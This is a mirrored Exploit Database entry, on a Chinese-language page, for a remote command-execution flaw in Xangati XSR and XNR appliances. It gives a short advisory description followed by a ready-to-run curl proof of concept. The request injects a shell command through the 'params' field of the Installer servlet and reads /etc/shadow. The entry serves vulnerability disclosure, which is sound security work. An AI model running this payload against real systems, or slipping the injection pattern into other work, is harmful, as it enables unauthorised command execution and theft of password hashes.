Xangati XSR / XNR – ‘gui_input_test.pl’ Remote Command Execution

• Exploit Database
• 105 阅读

• 作者： Jan Kadijk
  日期： 2014-04-14
• 类别：

  • webapps
  平台：

  • cgi
• 来源：https://www.exploit-db.com/exploits/39145/
• 1 2 3 4 5 6 7 8 9 10 11 12 13

  source: https://www.securityfocus.com/bid/66819/info   Xangati XSR And XNR are prone to a remote command-execution vulnerability because the application fails to sufficiently sanitize user-supplied input data.   An attacker may leverage this issue to execute arbitrary commands in the context of the affected application.   Xangati XSR prior to 11 and XNR prior to 7 are vulnerable.   curl -i -s -k-X 'POST' \ -H 'Content-Type: application/x-www-form-urlencoded' -H 'User-Agent: Java/1.7.0_25' \ --data-binary $'key=validkey&falconConfig=validateTest&path=%2Fvar%2Ftmp%2F&params=gui_input_test.pl&params=-p+localhost;CMD%3d$\'cat\\x20/etc/shadow\';$CMD;+YES' \ 'hxxps://www.example.com/servlet/Installer'